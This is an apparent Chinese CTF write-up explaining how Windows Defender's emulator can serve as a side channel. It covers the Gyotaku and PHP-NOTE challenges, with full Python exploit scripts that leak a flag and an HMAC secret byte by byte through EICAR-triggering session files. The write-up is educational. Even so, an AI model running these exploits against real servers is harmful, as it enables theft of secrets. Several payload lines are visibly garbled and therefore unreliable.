n0b0dy / 2019-09-08 10:10:59 / 浏览数 3426 安全技术 WEB安全 顶(0) 踩(0)

本文章总结了TokyoWesterns在WCTF上命的Gyotaku和TWCTF上的PHP-NOTE这两道题涉及的Windows Defender相关的侧信道攻击。

### Windows Defender

Windows defender是windows上的防护软件, TokyoWesterns在WCTF 2019上提出了一种针对于Windows Defender的侧信道攻击方式AVOracal。

windows defender行为

根据TokyoWesterns的调研, Windows Defender会进行以下行为:

- 1. 检查文件内容中是否有恶意内容
- 2. 改变恶意文件的权限避免用户访问
- 3. 将文件中的恶意内容替换为null
- 4. 删除恶意文件

其中在第二步中,如果恶意文件被Windows Defender检测出,用户则不能访问该文件。

#### 触发Windows Defender

EICAR测试文件可以方便地触发windows defender, 其文件内容如下:

 $\verb|X50!P@AP[4\PZX54(P^)7CC)7| $ \texttt{EICAR-STANDARD-ANTIVIRUS-TEST-FILE!} $ \texttt{H+H*} $ \texttt$ 

#### **Emulator**

Windows Defender中的mpengine.dll是Windows

Defender的核心dll。其包含对许多文件内容的分析功能,其中包含JScript引擎。该引擎可分析HTML文档,且可以分析其中的JavaScript代码,包括代码中对DOM元素的设置。

type :

笔者在本机上进行测试,如下内容可以触发Windows Defender:

PS C:\Users\n0b0dy\Desktop> type .\eicar.txt

```
<script>
var body = document.body.innerHTML;
var mal = "X50!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>
<body></body></body>
```

### 再访问该文件会被阻止:

eval(mal);

```
+ type .\eicar.txt
+ ~~~~~~~~~~~
+ CategoryInfo : ReadError: (C:\Users\n0b0dy\Desktop\eicar.txt:String) [Get-Content], IOException
+ FullyQualifiedErrorId : GetContentReaderIOError,Microsoft.PowerShell.Commands.GetContentCommand
```

但是如果不加第二行var body = document.body.innerHTML;的话,则无法触发Windows Defender。

```
下文件会被阻止(通过dom获取最后一个字符):
```

```
<script>
var body = document.body.innerHTML;
var n = body[0];
var mal = "X50!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H"+n;
eval(mal);
</script>
<body>*</body>

而以下文件则不会:
<script>
var body = document.body.innerHTML;
var n = body[0];
```

var mal = "X50!P%@AP[4\\PZX54(P^)7CC)7}\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\$H+H"+n;

```
</script>
<body>a</body>
根据该特性,侧信道攻击方式如下:
eval("EICA"+input) -> ?
      detected -> input is 'R'
      not detected -> input is not 'R'
Gyotaku (WCTF 2019)
题目链接: Gyotaku
这道题是WCTF中一道让TW很蛋疼的题。该题有一个/flag路径,只允许127.0.0.1访问。但是题目使用echo框架开发,echo.Context.RealIP可以被X-Real-IP:
127.0.0.1欺骗。于是这道题就被全场都做出来了。
预期解如下:
POST /gyotaku接受url参数,访问该url并将其返回内容储存,具体代码如下:
// save gyotaku
gyotakudata := &GyotakuData{
      URT.:
                       url,
      Data:
                         string(body),
      UserName: username,
buf := bytes.NewBuffer(nil)
err = gob.NewEncoder(buf).Encode(gyotakudata)
if err != nil {
      return err
err = ioutil.WriteFile(path.Join(GyotakuDir, gid), buf.Bytes(), 0644)
if err != nil {
      return err
由于我们可以控制url和username,我们构造如下参数:
url=http://127.0.0.1/flag?a=<script>[script]</script><body>
username=</body>
则可以使生成的文件以被Windows Defender识别。其中[script]的内容如下:
其中${c}是猜测的字符,${idx}是body中的字符的索引。对每个字符,我们使用二分搜索来加速搜索速度。最终作者给出的exp如下:
import requests
URL = "http://192.168.122.78" # changeme
def randstr(n=8):
      import random
      import string
      chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
      return ''.join([random.choice(chars) for _ in range(n)])
def trigger(c, idx, sess):
      import string
      prefix = randstr()
      p = prefix + ''' < script > f = function(n) \{eval('X50!P * @AP[4 \ \ P^)7CC)7\} \\ $EICAR - STANDARD - ANTIVIRUS - TEST - FILE! \\ $H + H' + \{ c \} \\ $H + H' 
      p = string.Template(p).substitute({'idx': idx, 'c': c})
      req = sess.post(URL + '/gyotaku', data={'url': 'http://127.0.0.1/flag?a=' + p})
      return req. json()
def leak(idx, sess):
      1, h = 0, 0x100
      while h - 1 > 1:
               m = (h + 1) // 2
               gid = trigger(m, idx, sess)
```

```
if sess.get(URL + '/gyotaku/' + gid).status_code == 500:
          1 = m
       else:
          h = m
  return chr(1)
sess = requests.session()
sess.post(URL + '/login', data={'username': '</body>'+randstr(), 'password': randstr()})
data = ''
for i in range(30):
  data += leak(i, sess)
  print(data)
PHP-NOTE
由于WCTF的失误,这种攻击方式再TWCTF-2019中又出了一次。
首先在http://phpnote.chal.ctf.westerns.tokyo/?action=source中得到题目源码。映入眼帘的是一个反序列化:
class Note {
  public function getflag() {
      if ($this->isadmin === true) {
          echo FLAG;
  }
}
if (is_login()) {
  $realname = $_SESSION['realname'];
  $nickname = $_SESSION['nickname'];
  $note = verify($_COOKIE['note'], $_COOKIE['hmac'])
          ? unserialize(base64_decode($_COOKIE['note']))
          : new Note(false);
}
其中涉及到一个vertiry,用到一个secret:
function verify($data, $hmac) {
  $secret = $_SESSION['secret'];
   if (empty($secret)) return false;
  return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}
function hmac($data) {
  $secret = $_SESSION['secret'];
  if (empty($data) || empty($secret)) return false;
  return hash_hmac('sha256', $data, $secret);
}
function gen_secret($seed) {
  return md5(SALT . $seed . PEPPER);
if ($action === 'login') {
  if ($method === 'POST') {
       $nickname = (string)$_POST['nickname'];
      $realname = (string)$_POST['realname'];
      if (empty($realname) | | strlen($realname) < 8) {</pre>
          die('invalid name');
      $_SESSION['realname'] = $realname;
      if (!empty($nickname)) {
           $_SESSION['nickname'] = $nickname;
       $_SESSION['secret'] = gen_secret($nickname);
```

```
}
       redirect('index');
}
可知secret只与nickname有关。但是我们没法攻击hmac函数来获得secret。在看了一圈之后,我们发现服务器是IIS的:
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.3.9
结合前文所述攻击手法,整理思路如下:
1. PHP的session储存在文件系统中
2. 向session中注入恶意内容让Windows Defender屏蔽生成的session文件
3. 通过能否登录成功,我们可以逐字节泄露secret。
仿照Gyotaku的攻击脚本我们很容易写出exp:
#!/usr/bin/env python3
import requests
CHAL_URL = "http://phpnote.chal.ctf.westerns.tokyo/"
TEST_URL = "http://192.168.21.132/"
def trigger(c, idx, payload=''):
       sess = requests.Session()
      import string
      \verb|payload| = '''--!> \texttt{html} > \texttt{head} > \texttt{script} = \texttt{function(n)} \\ \{eval('X50!P\$@AP[4\\\PZX54(P^)7CC)7\} \\ \$EICAR-STANDARD-ANTIVIRUS-TEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-FILEST-
      payload = string.Template(payload).substitute({'idx': idx, 'c': c})
                 "nickname": "",
                 "realname": payload,
       }
       resp = sess.post(CHAL_URL + "?action=login", data=d1)
       d = {
                 "nickname": "1</body>",
                 "realname": payload,
       resp = sess.post(CHAL_URL + "?action=login", data=d)
       resp = sess.get(CHAL_URL + "?action=index")
       # print(sess.cookies)
       return "logout" not in resp.text
def leak(idx):
      1, h = 0, 0x100
       while h - 1 > 1:
               m = (h + 1) // 2
                res = trigger(m, idx)
                if res:
                          1 = m
                 else:
                        h = m
       return chr(1)
data = ""
for i in range(13,100):
      data += leak(i)
       print(data)
成功将secret泄露出:
→ twctf-19 ./exp-phpnote.py
: "7
:"7d
: "7da
:"7dae
: "7daeeed052fd2908fb30f462ad1c7936
```

:"7daeeed052fd2908fb30f462ad1c7936"

### 之后构造反序列化即可得到flag。

# Reference

- Windows Offender: Reverse Engineering Windows Defender's Antivirus Emulator
- WCTF2019: Gyotaku Writeup

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